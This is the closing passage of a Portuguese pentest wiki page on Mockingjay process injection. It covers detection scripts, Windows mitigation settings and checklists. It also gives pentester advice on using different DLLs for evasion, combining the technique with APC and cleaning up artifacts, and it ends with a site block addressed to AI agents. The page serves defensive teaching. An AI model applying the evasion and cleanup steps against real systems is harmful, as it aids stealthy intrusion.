### **Ferramentas de Detecção**

```powershell
# Verificar seções RWX em módulos legítimos
Get-Process | ForEach-Object {
    $proc = $_
    try {
        $modules = $proc.Modules
        foreach ($module in $modules) {
            if ($module.ModuleName -match "mshtml|jscript|vbscript") {
                $base = $module.BaseAddress
                Write-Host "[*] Checking $($proc.Name) - $($module.ModuleName)"
            }
        }
    } catch {}
}

# Monitorar WriteProcessMemory para bibliotecas críticas
# Usar API Monitor para capturar chamadas
```

***

## 🛡️ **Mitigação e Prevenção**

### **Proteções do Sistema**

```powershell
# Habilitar Control Flow Guard (CFG)
Set-ProcessMitigation -System -Enable CFG

# Habilitar Arbitrary Code Guard (ACG)
Set-ProcessMitigation -System -Enable ArbitraryCodeGuard

# Habilitar Code Integrity Guard
Set-ProcessMitigation -System -Enable CodeIntegrity

# Configurar Windows Defender Application Control (WDAC)
# Criar política que bloqueia escrita em módulos assinados
```

### **Hardening de Processos**

```c
// Adicionar proteções ao processo
void ProtectProcess(HANDLE hProcess) {
    PROCESS_MITIGATION_IMAGE_LOAD_POLICY imgLoad = {0};
    imgLoad.PreferSystem32Images = 1;
    SetProcessMitigationPolicy(ProcessImageLoadPolicy, &imgLoad, sizeof(imgLoad));
    
    PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynCode = {0};
    dynCode.ProhibitDynamicCode = 1;
    SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &dynCode, sizeof(dynCode));
}
```

### **Configurações de Segurança**

```yaml
Recomendações:
  - Manter Windows atualizado
  - Habilitar Windows Defender
  - Configurar Attack Surface Reduction (ASR) rules:
    - Block process injections (GUID: 75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84)
    - Block Office applications from creating child processes
  - Usar Windows Defender Application Control
  - Implementar Exploit Protection (EMET)
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] Habilitar CFG, ACG e Code Integrity
  * [ ] Atualizar Windows regularmente
  * [ ] Configurar WDAC ou AppLocker
* [ ] **Processos**
  * [ ] Proteger processos críticos com mitigations
  * [ ] Desabilitar criação de código dinâmico onde possível
* [ ] **Monitoramento**
  * [ ] Configurar Sysmon para eventos 8 e 10
  * [ ] Monitorar WriteProcessMemory para módulos críticos
  * [ ] Alertar sobre threads criadas em mshtml.dll

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar bibliotecas com seções RWX
  * [ ] Mapear processos alvo
  * [ ] Verificar privilégios
* [ ] **Execução**
  * [ ] Testar com mshtml.dll
  * [ ] Testar com jscript.dll
  * [ ] Testar com dxgi.dll
* [ ] **Validação**
  * [ ] Verificar execução do shellcode
  * [ ] Documentar técnicas detectadas

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Mockingjay Process Injection:
  ✅ Técnica furtiva que usa memória legítima
  ✅ Bypassa detecção de VirtualAllocEx
  ✅ Utiliza bibliotecas comuns do Windows
  ✅ Múltiplas variações disponíveis

Defesas essenciais:
  ❌ Monitorar WriteProcessMemory para módulos críticos
  ✓ Habilitar CFG e ACG
  ✓ Configurar WDAC
  ✓ Implementar monitoramento de threads suspeitas
```

### **Recomendações Finais**

1. **Para Pentesters**
   * Identificar bibliotecas RWX no alvo
   * Usar diferentes bibliotecas para evasão
   * Combinar com APC para maior furtividade
   * Limpar artefatos após execução
2. **Para Blue Teams**
   * Monitorar WriteProcessMemory em mshtml.dll
   * Configurar regras de detecção para CreateRemoteThread
   * Implementar políticas de código dinâmico
   * Usar Windows Defender Application Control

**🔐 Lembre-se**: Mockingjay representa a evolução das técnicas de injeção, explorando a confiança em componentes legítimos do sistema. A detecção requer monitoramento de baixo nível e configuração adequada de segurança.

***

*Documentação técnica completa sobre Mockingjay Process Injection, cobrindo desde fundamentos até implementação e mitigação, mantendo o padrão de qualidade da Bíblia do Pentest.*


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/injecao-de-processos-process-injection/mockingjay.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
